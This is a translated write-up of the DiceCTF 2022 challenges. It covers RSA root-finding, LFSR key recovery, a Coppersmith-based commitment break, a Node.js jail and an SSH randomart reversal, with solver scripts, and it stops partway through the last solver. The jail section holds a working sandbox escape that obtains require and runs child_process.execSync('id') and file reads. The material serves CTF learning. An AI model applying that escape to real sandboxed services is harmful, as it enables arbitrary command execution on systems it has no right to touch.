DiceCTF 2022 WriteUps

發表於
分類於 CTF
中文版

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This time, I participated in DiceCTF solo using nyahello and ranked 15th. My impression is that the problems were so difficult that I doubted my skills in web and crypto, but on the other hand, I learned a lot of new things. Here is the official writeup.

Problems with * in their names are those I solved after the competition.

Crypto

baby-rsa

from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes

def getAnnoyingPrime(nbits, e):
	while True:
		p = getPrime(nbits)
		if (p-1) % e**2 == 0:
			return p

nbits = 128
e = 17

p = getAnnoyingPrime(nbits, e)
q = getAnnoyingPrime(nbits, e)

flag = b"dice{???????????????????????}"

N = p * q
cipher = pow(bytes_to_long(flag), e, N)

print(f"N = {N}")
print(f"e = {e}")
print(f"cipher = {cipher}")

The NN in RSA is only 256 bits, so you can directly use tools like FactorDB, yafu, cadonfs, alpertron, etc., to factorize it. Then, because e2∣(p−1)e^2|(p-1) and e2∣(q−1)e^2|(q-1), it cannot directly inverse to calculate dd.

In this case, its root is not unique. The normal method is to use algorithms like AMM to find one root of xe−cx^e-c, and then multiply by the e-th roots of unity to get e roots that satisfy me=cm^e=c.

Source: 【浅谈系列】高次剩余的求解

However, in this problem, e=17e=17 is very small, and sage itself can handle it with GF(p)(c).nth_root(e, all=True). After finding the roots under pp and qq respectively, you can use CRT to get e2e^2 solutions and see which one matches the flag format. The above AMM is usually better than sage when ee is relatively large.

from Crypto.Util.number import *

p = 172036442175296373253148927105725488217
q = 337117592532677714973555912658569668821
e = 17
c = 19441066986971115501070184268860318480501957407683654861466353590162062492971

for mp in GF(p)(c).nth_root(e, all=True):
    for mq in GF(q)(c).nth_root(e, all=True):
        m = crt([ZZ(mp), ZZ(mq)], [p, q])
        flag = long_to_bytes(m)
        if flag.startswith(b"dice{"):
            print(flag)

# dice{cado-and-sage-say-hello}

Another algorithm can also be used here: Incorrectly Generated RSA Keys: How To Recover Lost Plaintexts

rejected

#!/usr/local/bin/python

import secrets

class LFSR:
    def __init__(self, key, taps):
        self._s = key
        self._t = taps            

    def _sum(self, L):
        s = 0
        for x in L:
            s ^= x
        return s

    def _clock(self):
        b = self._s[0]
        self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
        return b

    def bit(self):
        return self._clock()

class RNG:
    def __init__(self, lfsr, N, nbits):
        self.lfsr = lfsr
        self.N = N
        self.nbits = nbits
        
        if not (pow(2, 27) < N < pow(2, 31)):
            raise ValueError("modulus is too big or small")
        
        K = pow(2, nbits) // N
        self.cutoff = K * N

    def get_random_nbit_integer(self):
        res = 0
        for i in range(self.nbits):
            res += self.lfsr.bit() << i
        return res
    
    def get_random_integer_modulo_N(self):
        count = 1
        while True:
            x = self.get_random_nbit_integer()
            if x < self.cutoff:
                return x % self.N, count
            count += 1

taps = [60, 58, 54, 52, 48, 47, 45, 43, 38, 36, 32, 28, 22, 21, 13, 9, 8, 5, 2, 0]
n = 64

with open("flag.txt", "r") as f:
    flag = f.read()

if __name__ == "__main__":
    print("Welcome to the unbiased random number factory!")
    N = int(input("What modulus would you like to use? Choose between 2^27 and 2^31: "))

    key = secrets.randbits(n)
    key_bits = [(key >> i)&1 for i in range(n)]
    
    lfsr = LFSR(key_bits, taps)
    rng = RNG(lfsr, N, 32)
    
    for _ in range(1024):
        c = input("Enter your command (R,F): ")
        if c.startswith("R"):
            x,t = rng.get_random_integer_modulo_N()
            print("creating this random number took {} attempts".format(t))
        elif c.startswith("F"):
            seed = int(input("what was my seed?"))
            if seed == key:
                print(flag)
            exit(0)
        else:
            print("unsupported command")

This problem has a degree 64 LFSR, and the RNG uses the LFSR to repeatedly generate 32-bit numbers, then returns the number of attempts attempts after some filtering, excluding the random number itself.

The filtering part uses rejection sampling to check if it is less than cutoff, where cutoff is ⌊232N⌋⋅N=232−(232 mod N)\lfloor\frac{2^{32}}{N}\rfloor \cdot N=2^{32}-(2^{32}\bmod{N}).

If attempts are all 1, it doesn't provide any useful counts, so NN cannot divide 2322^{32}. Testing will find that if N=231−229N=2^{31}-2^{29}, the cutoff is 231+2302^{31}+2^{30}, which in binary is 11000000000000000000000000000000.

Obviously, x >= self.cutoff only happens when the highest two bits of x are 1, so when the returned attempts are greater than 1, you can get 2*(attempts-1) bits of information. After obtaining 64 bits, solving the linear system of the LFSR can restore the key.

from sage.all import PolynomialRing, GF, matrix, vector, companion_matrix
from pwn import process, remote

taps = [60, 58, 54, 52, 48, 47, 45, 43, 38, 36, 32, 28, 22, 21, 13, 9, 8, 5, 2, 0]
n = 64
N = 2 ** 31 - 2 ** 29
cutoff = (2 ** 32 // N) * N
print(f"{cutoff:032b}")

# io = process(["python", "rejected.py"])
io = remote("mc.ax", 31669)
io.sendlineafter(b": ", str(N).encode())


def get_num():
    io.sendlineafter(b"Enter your command (R,F): ", b"R")
    io.recvuntil(b"took ")
    return int(io.recvuntilS(b" ").strip())


# get some bits
bits = []
known_bits = 0
while known_bits < 64:
    print(f"{known_bits}")
    t = get_num()
    while t > 1:
        # number are rejected iff highest 2 bits are set
        bits.extend(["?"] * 30 + [1, 1])
        t -= 1
        known_bits += 2
    bits.extend(["?"] * 32)
print("".join(map(str, bits)))

P = PolynomialRing(GF(2), "x")
x = P.gen()
poly = sum([x ** e for e in taps]) + x ** 64
M = companion_matrix(poly, "bottom")

# construct linear system
left = []
right = []
for i, b in enumerate(bits):
    if b != "?":
        Mi = M ** i
        left.append(Mi[0])
        right.append(b)

# solve
kbits = matrix(left).solve_right(vector(right))
recovered_key = int("".join(map(str, kbits[::-1])), 2)
print(f"{recovered_key = }")

io.sendlineafter(b"Enter your command (R,F): ", b"F")
io.sendlineafter(b"seed?", str(recovered_key).encode())
io.interactive()

# dice{so-many-numbers-got-rejected-on-valentines-day-1cc16ff5b20d6be1fbd65de0d234608c}

*commitment-issues

from random import randrange
from Crypto.Util.number import getPrime, inverse, bytes_to_long, GCD

flag = b'dice{?????????????????????????}'
n = 5

def get_prime(n, b):
	p = getPrime(b)
	while GCD(p - 1, n) != 1:
		p = getPrime(b)
	return p

p = get_prime(n, 1024)
q = get_prime(n, 1024)
N = p*q
phi = (p - 1)*(q - 1)

e = 0xd4088c345ced64cbbf8444321ef2af8b
d = inverse(e, phi)

def sign(message):
	m = bytes_to_long(message)
	return pow(m, d, N)

def commit(s, key, n):
	return (s + key) % N, pow(key, n, N)

def reveal(c1, c2, key, n):
	assert pow(key, n, N) == c2
	return (c1 - key) % N

r = randrange(1, N)
s = sign(flag)
c1, c2 = commit(s, r, n)

print(f'N = {hex(N)}')
print(f'c1 = {hex(c1)}')
print(f'c2 = {hex(c2)}')

This problem has an RSA NN and the following equations:

c1=s+rc2=r5se=m\begin{aligned} c_1&=s+r \\ c_2&=r^5 \\ s^e&=m \end{aligned}

For convenience, the operations in this article are in ZN\mathbb{Z}_N.

It is obvious that (c1−s)5−c2=0(c_1-s)^5-c_2=0, and eliminating ss with se−m=0s^e-m=0 by taking the resultant, you can get a fifth-degree polynomial f(m)f(m). Since mm should not be large, you can directly use coppersmith to find the flag.

Testing with smaller ee using sage also works, but the problem is that ee is very large in this problem, making it impossible to calculate the resultant. I got stuck here during the competition.

The trick is to set p(t)=(c1−t)5−c2p(t)=(c_1-t)^5-c_2, obviously p(s)=0p(s)=0. Then in the polynomial ring ZN[t]/p(t)\mathbb{Z}_N[t]/p(t), tt can be considered equivalent to ss, and tet^e (equivalent to mm) can be efficiently calculated in sage, which will be a fourth-degree polynomial in tt.

From the above, we know that there exists a fifth-degree polynomial f(te)f(t^e) with mm as the root, so we can use a matrix to find the non-trivial polynomial coefficients:

α0+α1(te)+α2(te)2+⋯+α5(te)5=0\alpha_0+\alpha_1(t^e)+\alpha_2(t^e)^2+\cdots+\alpha_5(t^e)^5=0

Note: te,(te)2,⋯t^e, (t^e)^2, \cdots are all fourth-degree polynomials.

After finding the coefficients, coppersmith can get the flag.

However, in practice, you will encounter the problem that solve_right can only find trivial solutions, and the built-in right kernel does not have an implementation under mod N. One way is to write gauss elimination by hand, but I lazily used LLL, which is simpler.

from Crypto.Util.number import long_to_bytes

N = 0xBA8CB3257C0C83EDF4F56F5B7E139D3D6AC8ADF71618B5F16A02D61B63426C2C275CE631A0927B2725C6CC7BDBE30CD8A8494BC7C7F6601BCEE5D005B86016E79919E22DA4C431CEC16BE1EE72C056723FBBEC1543C70BFF8042630C5A9C23F390E2221BED075BE6A6AC71AD89A3905F6C706B4FB6605C08F154FF8B8E28445A7BE24CB184CB0F648DB5C70DC3581419B165414395AE4282285C04D6A00A0CE8C06A678181C3A3C37B426824A5A5528EE532BDD90F1F28B7EC65E6658CB463E867EB5280BDA80CBDB066CBDB4019A6A2305A03FD29825158CE32487651D9BFA675F2A6B31B7D05E7BD74D0F366CBFB0EB711A57E56E6DB6D6F1969D52BF1B27B
c1 = 0x75240FCC256F1E2FC347F75BBA11A271514DD6C4E58814E1CB20913195DB3BD0440C2CA47A72EFEE41B0F9A2674F6F46A335FD7E54BA8CD1625DAEAAAA45CC9550C566F6F302B7C4C3A4694C0F5BB05CD461B5CA9017F2EB0E5F60FB0C65E0A67F3A1674D74990FD594DE692951D4EED32EAC543F193B70777B14E86CF8FA1927FE27535E727613F9E4CD00ACB8FAB336894CAA43AD40A99B222236AFC219397620CA766CEF2FE47D53B07E302410063EAE3D0BF0A9D67793237281E0BFDD48255B58B2C1F8674A21754CF62FAB0BA56557FA276241CE99140473483F3E5772FCB75B206B3E7DFB756005CEC2C19A3CB7FA17A4D17F5EDD10A8673607047A0D1
c2 = 0xDB8F645B98F71B93F248442CFC871F9410BE7EFEE5CFF548F2626D12A81EE58C1A65096A042DB31A051904D7746A56147CC02958480F3B5D5234B738A1FB01DC8BF1DFFAD7F045CAC803FA44F51CBF8ABC74A17EE3D0B9ED59C844A23274345C16BA56D43F17D16D303BB1541EE1C15B9C984708A4A002D10188CCC5829940DD7F76107760550FAC5C8AB532FF9F034F4FC6AAB5ECC15D5512A84288D6FBE4B2D58AB6E326500C046580420D0A1B474DECA052EBD93AAA2EF972ACEBA7E6FA75B3234463A68DB78FFF85C3A1673881DCB7452390A538DFA92E7FF61F57EDF48662991B8DD251C0474B59C6F73D4A23FE9191AC8E52C8C409CF4902EEAA71714
e = 0xD4088C345CED64CBBF8444321EF2AF8B

Z = Zmod(N)
P = PolynomialRing(Z, "t")
t = P.gen()
R = P.quotient((c1 - t) ^ 5 - c2, "t")
t = R._first_ngens(1)[0]  # same as s

te = t ** e  # same as m
basis = [te ^ i for i in range(6)]

# idk how to find a non trivial linear combination to zero vector in sage
# solve_right only gives trivial solution
# right_kernel doesn't work modulo N
# so I use a stupid LLL hack
mm = matrix([list(x) for x in basis]).change_ring(ZZ).stack(matrix.identity(5) * N)
reduced, tr = mm.LLL(transformation=True)
assert reduced[0] == 0
coefs = tr[0][:6].change_ring(Z)

S = PolynomialRing(Z, "m")
m = S.gen()
ff = sum([c * m ** i for i, c in enumerate(coefs)])
m = ff.monic().small_roots(X=2 ** 256, epsilon=0.08)[0]
print(long_to_bytes(m))

# dice{wh4t!!-wh0_g4ve_u-thE-k3y}

Later, I found that it doesn't have to be that complicated. Similarly, taking p(t)=(c1−t)5−c2p(t)=(c_1-t)^5-c_2 and ZN[t]/p(t)\mathbb{Z}_N[t]/p(t) can easily calculate tet^e, which will be a fourth-degree polynomial r(t)r(t). So if se−ms^e-m is set as an unknown, it will become f(x,y)=r(x)−yf(x,y)=r(x)-y, and eliminating xx with the original p(x)p(x) by taking the resultant, you get a polynomial in yy with mm as the root, so coppersmith can find mm.

This works because te−m=r(t)+q(t)p(t)−mt^e-m=r(t)+q(t)p(t)-m, and obviously both sides have ss as the root, and p(s)=0p(s)=0 also holds, so you can use the quotient ring operation to replace te−mt^e-m with r(t)−mr(t)-m.

from Crypto.Util.number import long_to_bytes

N = 0xBA8CB3257C0C83EDF4F56F5B7E139D3D6AC8ADF71618B5F16A02D61B63426C2C275CE631A0927B2725C6CC7BDBE30CD8A8494BC7C7F6601BCEE5D005B86016E79919E22DA4C431CEC16BE1EE72C056723FBBEC1543C70BFF8042630C5A9C23F390E2221BED075BE6A6AC71AD89A3905F6C706B4FB6605C08F154FF8B8E28445A7BE24CB184CB0F648DB5C70DC3581419B165414395AE4282285C04D6A00A0CE8C06A678181C3A3C37B426824A5A5528EE532BDD90F1F28B7EC65E6658CB463E867EB5280BDA80CBDB066CBDB4019A6A2305A03FD29825158CE32487651D9BFA675F2A6B31B7D05E7BD74D0F366CBFB0EB711A57E56E6DB6D6F1969D52BF1B27B
c1 = 0x75240FCC256F1E2FC347F75BBA11A271514DD6C4E58814E1CB20913195DB3BD0440C2CA47A72EFEE41B0F9A2674F6F46A335FD7E54BA8CD1625DAEAAAA45CC9550C566F6F302B7C4C3A4694C0F5BB05CD461B5CA9017F2EB0E5F60FB0C65E0A67F3A1674D74990FD594DE692951D4EED32EAC543F193B70777B14E86CF8FA1927FE27535E727613F9E4CD00ACB8FAB336894CAA43AD40A99B222236AFC219397620CA766CEF2FE47D53B07E302410063EAE3D0BF0A9D67793237281E0BFDD48255B58B2C1F8674A21754CF62FAB0BA56557FA276241CE99140473483F3E5772FCB75B206B3E7DFB756005CEC2C19A3CB7FA17A4D17F5EDD10A8673607047A0D1
c2 = 0xDB8F645B98F71B93F248442CFC871F9410BE7EFEE5CFF548F2626D12A81EE58C1A65096A042DB31A051904D7746A56147CC02958480F3B5D5234B738A1FB01DC8BF1DFFAD7F045CAC803FA44F51CBF8ABC74A17EE3D0B9ED59C844A23274345C16BA56D43F17D16D303BB1541EE1C15B9C984708A4A002D10188CCC5829940DD7F76107760550FAC5C8AB532FF9F034F4FC6AAB5ECC15D5512A84288D6FBE4B2D58AB6E326500C046580420D0A1B474DECA052EBD93AAA2EF972ACEBA7E6FA75B3234463A68DB78FFF85C3A1673881DCB7452390A538DFA92E7FF61F57EDF48662991B8DD251C0474B59C6F73D4A23FE9191AC8E52C8C409CF4902EEAA71714
e = 0xD4088C345CED64CBBF8444321EF2AF8B

Z = Zmod(N)
P = PolynomialRing(Z, "x")
x = P.gen()
g = (c1 - x) ^ 5 - c2
R = P.quotient(g, "t")
t = R.gen()  # same as s

f = t ^ e  # represent s^e as a degree 4 polynomial in t

Pxy = PolynomialRing(Z, "x,y")
x, y = Pxy.gens()

f = f.lift().change_ring(Pxy) - y  # s^e - m in x, y
g = g.change_ring(Pxy)  # polynomial in x
res = f.resultant(g).univariate_polynomial()
m = res.monic().small_roots(X=2**256, epsilon=0.08)[0]
print(long_to_bytes(int(m)))

Additionally, I saw another simpler method. Originally, there was a polynomial p(t)p(t) with ss as the root, and the goal was to find a polynomial q(t)q(t) with se=ms^e=m as the root, so you can use coppersmith.

The method is to use the companion matrix MM of p(t)p(t), take the ee-th power to get MeM^e, and then take its characteristic polynomial, which is q(t)q(t). The reason q(t)q(t) satisfies q(se)=0q(s^e)=0 is that ss is the eigenvalue of MM, so ses^e is the eigenvalue of MeM^e, and naturally, it is also the root of q(t)q(t).

from Crypto.Util.number import long_to_bytes

N = 0xBA8CB3257C0C83EDF4F56F5B7E139D3D6AC8ADF71618B5F16A02D61B63426C2C275CE631A0927B2725C6CC7BDBE30CD8A8494BC7C7F6601BCEE5D005B86016E79919E22DA4C431CEC16BE1EE72C056723FBBEC1543C70BFF8042630C5A9C23F390E2221BED075BE6A6AC71AD89A3905F6C706B4FB6605C08F154FF8B8E28445A7BE24CB184CB0F648DB5C70DC3581419B165414395AE4282285C04D6A00A0CE8C06A678181C3A3C37B426824A5A5528EE532BDD90F1F28B7EC65E6658CB463E867EB5280BDA80CBDB066CBDB4019A6A2305A03FD29825158CE32487651D9BFA675F2A6B31B7D05E7BD74D0F366CBFB0EB711A57E56E6DB6D6F1969D52BF1B27B
c1 = 0x75240FCC256F1E2FC347F75BBA11A271514DD6C4E58814E1CB20913195DB3BD0440C2CA47A72EFEE41B0F9A2674F6F46A335FD7E54BA8CD1625DAEAAAA45CC9550C566F6F302B7C4C3A4694C0F5BB05CD461B5CA9017F2EB0E5F60FB0C65E0A67F3A1674D74990FD594DE692951D4EED32EAC543F193B70777B14E86CF8FA1927FE27535E727613F9E4CD00ACB8FAB336894CAA43AD40A99B222236AFC219397620CA766CEF2FE47D53B07E302410063EAE3D0BF0A9D67793237281E0BFDD48255B58B2C1F8674A21754CF62FAB0BA56557FA276241CE99140473483F3E5772FCB75B206B3E7DFB756005CEC2C19A3CB7FA17A4D17F5EDD10A8673607047A0D1
c2 = 0xDB8F645B98F71B93F248442CFC871F9410BE7EFEE5CFF548F2626D12A81EE58C1A65096A042DB31A051904D7746A56147CC02958480F3B5D5234B738A1FB01DC8BF1DFFAD7F045CAC803FA44F51CBF8ABC74A17EE3D0B9ED59C844A23274345C16BA56D43F17D16D303BB1541EE1C15B9C984708A4A002D10188CCC5829940DD7F76107760550FAC5C8AB532FF9F034F4FC6AAB5ECC15D5512A84288D6FBE4B2D58AB6E326500C046580420D0A1B474DECA052EBD93AAA2EF972ACEBA7E6FA75B3234463A68DB78FFF85C3A1673881DCB7452390A538DFA92E7FF61F57EDF48662991B8DD251C0474B59C6F73D4A23FE9191AC8E52C8C409CF4902EEAA71714
e = 0xD4088C345CED64CBBF8444321EF2AF8B

Z = Zmod(N)
P = PolynomialRing(Z, "t")
t = P.gen()
p = (c1 - t) ^ 5 - c2  # p(s)=0

M = companion_matrix(p.monic())
q = (M ^ e).charpoly()  # q(s^e)=q(m)=0

m = q.monic().small_roots(X=2 ** 256, epsilon=0.08)[0]
print(long_to_bytes(m))

*correlated

#!/usr/local/bin/python

import secrets

class LFSR:
    def __init__(self, key, taps):
        self._s = key
        self._t = taps            

    def _sum(self, L):
        s = 0
        for x in L:
            s ^= x
        return s

    def _clock(self):
        b = self._s[0]
        self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
        return b

    def bit(self):
        return self._clock()

taps = [45, 40, 39, 36, 35, 34, 33, 32, 30, 28, 27, 23, 22, 21, 19, 17, 16, 15, 14, 13, 9, 7, 3, 0]
n = 48
m = 20000
prob = 0.80
delta = 1048576

with open("flag.txt", "r") as f:
    flag = f.read()

if __name__ == "__main__":
    print("I heard that fast correlation attacks don't work if your LFSR has more than 10 taps.")
    print("You have 60 seconds to recover the key.")

    key = secrets.randbits(n)
    key_bits = [(key >> i)&1 for i in range(n)]
    
    lfsr = LFSR(key_bits, taps)
    stream = [lfsr.bit() for _ in range(m)]

    noise = [secrets.randbelow(delta) > prob * delta for i in stream]
    stream = [i ^ j for i,j in zip(noise, stream)]

    print("Here are {} bits of the stream with {}% accuracy".format(m, 100 * prob))
    print(int("".join(map(str, stream)), 2))

    seed = int(input("what is my key?"))
    if seed == key:
        print(flag)

I didn't download the files for this problem because I saw in the problem description that it involved a fast correlation attack, which I didn't know. However, after the competition, I found a much simpler solution than I expected (probably not intended).

In short, there is a 48-degree LFSR outputting 20000 bits, with 20% of the bits flipped, and the goal is to find the initial state.

If you randomly select 48 bits that are not flipped, you can solve the linear system to find the initial state. Therefore, a simple solution is to brute force the probability of 0.848≈2.23×10−50.8^{48} \approx 2.23 \times 10^{-5} to bet that none of them are flipped. The probability of not finding a result after 30000 attempts is (1−0.848)30000≈0.512(1-0.8^{48})^{30000} \approx 0.512, so the success rate is 48.7%48.7\%, which is quite enough in a CTF.

from sage.all import *
from pwn import *
import random
from tqdm import tqdm


class LFSR:
    def __init__(self, key, taps):
        self._s = key
        self._t = taps

    def _sum(self, L):
        s = 0
        for x in L:
            s ^= x
        return s

    def _clock(self):
        b = self._s[0]
        self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
        return b

    def bit(self):
        return self._clock()


# fmt: off
taps = [45, 40, 39, 36, 35, 34, 33, 32, 30, 28, 27, 23, 22, 21, 19, 17, 16, 15, 14, 13, 9, 7, 3, 0]
# fmt: on
n = 48
m = 20000
prob = 0.80
delta = 1048576

# io = process(["python", "correlated.py"])
io = remote("mc.ax", 31683)
io.recvuntil(b"accuracy\n")
num = int(io.recvlineS())
stream = list(map(int, f"{num:020000b}"))

P = PolynomialRing(GF(2), "x")
x = P.gen()
poly = sum([x ** e for e in taps]) + x ** 48
M = companion_matrix(poly, "bottom")

M_powers = [M ** i for i in range(len(stream))]  # cache for speeding up

pbar = tqdm(desc="Brute force with prob 0.8^48")
while True:
    pbar.n += 1
    pbar.update()
    if pbar.n > 30000:
        print("Unlucky, just try again")
        exit()
    chosen_idx = random.sample(range(len(stream)), 48)
    left = []
    right = []
    for i in chosen_idx:
        Mi = M_powers[i]
        left.append(Mi[0])
        right.append(stream[i])
    try:
        kbits = list(map(int, matrix(left).solve_right(vector(right))))
    except ValueError:
        # no solutions
        continue
    test_m = 200  # we don't need to test that much
    new_lfsr = LFSR(kbits, taps)
    new_stream = [new_lfsr.bit() for _ in range(test_m)]
    if sum([x == y for x, y in zip(new_stream, stream)]) >= 0.70 * test_m:
        recovered_key = int("".join(map(str, kbits[::-1])), 2)
        print(f"{recovered_key = }")
        pbar.close()
        break

io.sendline(str(recovered_key).encode())
io.interactive()

# dice{low-flavor-solar-radiation-efec606520fba4c}

30000 attempts take about 36 seconds on my computer, so just try a few more times if it doesn't succeed.

Misc

undefined

#!/usr/local/bin/node
// don't mind the ugly hack to read input
console.log("What do you want to run?");
let inpBuf = Buffer.alloc(2048);
const input = inpBuf.slice(0, require("fs").readSync(0, inpBuf)).toString("utf8");
inpBuf = undefined;

Function.prototype.constructor = undefined;
(async () => {}).constructor.prototype.constructor = undefined;
(function*(){}).constructor.prototype.constructor = undefined;
(async function*(){}).constructor.prototype.constructor = undefined;

for (const key of Object.getOwnPropertyNames(global)) {
    if (["global", "console", "eval"].includes(key)) {
        continue;
    }
    global[key] = undefined;
    delete global[key];
}

delete global.global;
process = undefined;

{
    let AbortController=undefined;let AbortSignal=undefined;let AggregateError=undefined;let Array=undefined;let ArrayBuffer=undefined;let Atomics=undefined;let BigInt=undefined;let BigInt64Array=undefined;let BigUint64Array=undefined;let Boolean=undefined;let Buffer=undefined;let DOMException=undefined;let DataView=undefined;let Date=undefined;let Error=undefined;let EvalError=undefined;let Event=undefined;let EventTarget=undefined;let FinalizationRegistry=undefined;let Float32Array=undefined;let Float64Array=undefined;let Function=undefined;let Infinity=undefined;let Int16Array=undefined;let Int32Array=undefined;let __dirname=undefined;let Int8Array=undefined;let Intl=undefined;let JSON=undefined;let Map=undefined;let Math=undefined;let MessageChannel=undefined;let MessageEvent=undefined;let MessagePort=undefined;let NaN=undefined;let Number=undefined;let Object=undefined;let Promise=undefined;let Proxy=undefined;let RangeError=undefined;let ReferenceError=undefined;let Reflect=undefined;let RegExp=undefined;let Set=undefined;let SharedArrayBuffer=undefined;let String=undefined;let Symbol=undefined;let SyntaxError=undefined;let TextDecoder=undefined;let TextEncoder=undefined;let TypeError=undefined;let URIError=undefined;let URL=undefined;let URLSearchParams=undefined;let Uint16Array=undefined;let Uint32Array=undefined;let Uint8Array=undefined;let Uint8ClampedArray=undefined;let WeakMap=undefined;let WeakRef=undefined;let WeakSet=undefined;let WebAssembly=undefined;let _=undefined;let exports=undefined;let _error=undefined;let assert=undefined;let async_hooks=undefined;let atob=undefined;let btoa=undefined;let buffer=undefined;let child_process=undefined;let clearImmediate=undefined;let clearInterval=undefined;let clearTimeout=undefined;let cluster=undefined;let constants=undefined;let crypto=undefined;let decodeURI=undefined;let decodeURIComponent=undefined;let dgram=undefined;let diagnostics_channel=undefined;let dns=undefined;let domain=undefined;let encodeURI=undefined;let encodeURIComponent=undefined;let arguments=undefined;let escape=undefined;let events=undefined;let fs=undefined;let global=undefined;let globalThis=undefined;let http=undefined;let http2=undefined;let https=undefined;let inspector=undefined;let isFinite=undefined;let isNaN=undefined;let module=undefined;let net=undefined;let os=undefined;let parseFloat=undefined;let parseInt=undefined;let path=undefined;let perf_hooks=undefined;let performance=undefined;let process=undefined;let punycode=undefined;let querystring=undefined;let queueMicrotask=undefined;let readline=undefined;let repl=undefined;let require=undefined;let setImmediate=undefined;let setInterval=undefined;let __filename=undefined;let setTimeout=undefined;let stream=undefined;let string_decoder=undefined;let structuredClone=undefined;let sys=undefined;let timers=undefined;let tls=undefined;let trace_events=undefined;let tty=undefined;let unescape=undefined;let url=undefined;let util=undefined;let v8=undefined;let vm=undefined;let wasi=undefined;let worker_threads=undefined;let zlib=undefined;let __proto__=undefined;let hasOwnProperty=undefined;let isPrototypeOf=undefined;let propertyIsEnumerable=undefined;let toLocaleString=undefined;let toString=undefined;let valueOf=undefined;

    console.log(eval(input));
}

This problem is a node.js jail where many things on the global object and Function are set to undefined.

Although this is a CJS module, for some reason, import(xx).then(...) still works, so there is a very simple unintended solution:

import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))

However, I only found out about this after the competition. My solution was to refer to this to get a structured stack trace, and then find the CJS module's function from it: function (exports, require, module, __filename, __dirname) { /* actual code */ }. So fn.arguments[1] is require, and then you can read files directly.

Minify the following code to use it:

try {
	null.f()
} catch (e) {
	TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
	const oldStackTrace = Error.prepareStackTrace
	try {
		Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
		Error.captureStackTrace(this)
		this.stack
	} finally {
		Error.prepareStackTrace = oldStackTrace
	}
}
function trigger() {
	const err = new CustomError()
	console.log(err.stack[0])
	for (const x of err.stack) {
		const fn = x.getFunction()
		console.log(String(fn).slice(0, 200))
		console.log(fn?.arguments)
		console.log('='.repeat(40))
		if ((args = fn?.arguments)?.length > 0) {
			req = args[1]
			console.log(req('child_process').execSync('id').toString())
		}
	}
}
trigger()
// dice{who_needs_builtins_when_you_have_arguments}

But the intended solution is simpler, also getting require from arguments without needing the stack trace:

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

sober-bishop

This problem only provides two files:

+----[THIS IS]----+
|          o  o+++|
|         + . .=*E|
|        B . . oo=|
|       = . .  .+ |
|        S        |
|                 |
|                 |
|                 |
|                 |
+---[THE FLAG]----+
+----[THIS IS]----+
|     .E=.        |
|      o..        |
|     o ..        |
|    o o.         |
|     O .S        |
|    o B          |
|     o o         |
|  ... B          |
|  +=.= .         |
+---[md5(FLAG)]---+

This is the fingerprint pattern that appears when generating a key in openssh. The generation method is here, called the Drunken Bishop Algorithm.

It basically starts from the center, repeatedly reading 2 bits from the data to decide which direction to move (upper left, lower left, upper right, lower right). The points it passes through record the number of times they are stepped on, and then convert to characters, with S and E being the start and end points.

Obviously, this problem becomes a graph traversal problem. Writing a BFS with pruning will find it quite slow. I used the known dice{ prefix to reduce the search range a bit, and then guessed the first two characters as un by observing the output. Running the script with pypy3 can output the flag in about 10 seconds.

from hashlib import md5


def clamp(mn, val, mx):
    return max(mn, min(val, mx))


FLDBASE = 8
FLDBASE_X = FLDBASE * 2 + 1
FLDBASE_Y = FLDBASE + 1
AUG = b" .o+=*BOX@%&#/^SE"


def randomart(msg: bytes):
    l = len(AUG) - 1

    field = [[0] * FLDBASE_Y for _ in range(FLDBASE_X)]
    x, y = FLDBASE_X // 2, FLDBASE_Y // 2
    field[x][y] = l - 1
    for v in msg:
        for _ in range(4):
            x += 1 if v & 0x1 else -1
            y += 1 if v & 0x2 else -1
            x = clamp(0, x, FLDBASE_X - 1)
            y = clamp(0, y, FLDBASE_Y - 1)
            if field[x][y] < l - 2:
                field[x][y] += 1
            v >>= 2
    field[x][y] = l

    return field


def printart(field):
    for y in range(FLDBASE_Y):
        for x in range(FLDBASE_X):
            print(chr(AUG[field[x][y]]), end="")
        print()


def printart_num(field):
    for y in range(FLDBASE_Y):
        for x in range(FLDBASE_X):
            v = field[x][y]
            if AUG[v] == ord("S"):
                v = "S"
            elif AUG[v] == ord("E"):
                v = "E"
            print(v, end=" ")
        print()


from collections import deque


def reverse_randomart(field, is_goodpath):
    sx, sy = find_value(field, AUG.index(b"S"))

    directions = [(1, 1, 0b11), (1, -1, 0b01), (-1, 1, 0b10), (-1, -1, 0b00)]

    q = deque([(sx, sy, [], field)])
    while len(q) > 0:
        x, y, path, cur_field = q.popleft()

        for dx, dy, bits in directions:
            xx = clamp(0, x + dx, FLDBASE_X - 1)
            yy = clamp(0, y + dy, FLDBASE_Y - 1)
            if cur_field[xx][yy] > 0:
                copied_field = list(map(list, cur_field))
                copied_field[xx][yy] -= 1
                next_path = path + [bits]
                if is_goodpath(next_path):
                    q.append((xx, yy, path + [bits], copied_field))


def find_value(field, v):
    for x in range(FLDBASE_X):
        for y in range(FLDBASE_Y):
            if field[x][y] == v:
                return x, y


def bordered_to_field(s: bytes):
    field = [[0] * FLDBASE_Y for _ in range(FLDBASE_X)]
    y = 0
    for ss in s.strip().splitlines()[1:-1]:
        line = ss.strip()[1:-1]
        if len(line) == 0:
            continue
        for x in range(len(line)):
            field[x][y] = AUG.index(line[x])
        y += 1
    return field


with open("flag", "rb") as f:
    flag_field = bordered_to_field(f.read())

with open("hash", "rb") as f:
    hash_field = bordered_to_field(f.read())


def is_goodpath(path):
    if len(path) % 4 == 0:
        ar = []
        for i in range(0, len(path), 4):
            d, c, b, a = path[i : i + 4]
            ar.append((a << 6) | (b << 4) | (c << 2) | d)
        if len(ar) > 0 and not bytes(ar).isascii():
            return False

        pfx = b"un"  # guess
        for x, y in zip(ar, pfx):
            if x != y:
                return False

        for i, x in enumerate(ar[len(pfx) :]):
            if not (
                ord("a") <= x <= ord("z")
                or ord("0") <= x <= ord("9")
                or x == ord("_")
                or x == ord("-")
                or x == ord("}")
            ):
                return False
            if x == ord("}") and i + len(pfx) != len(ar) - 1:
                return False

        flag = b"dice{" + bytes(ar)
        print(flag)
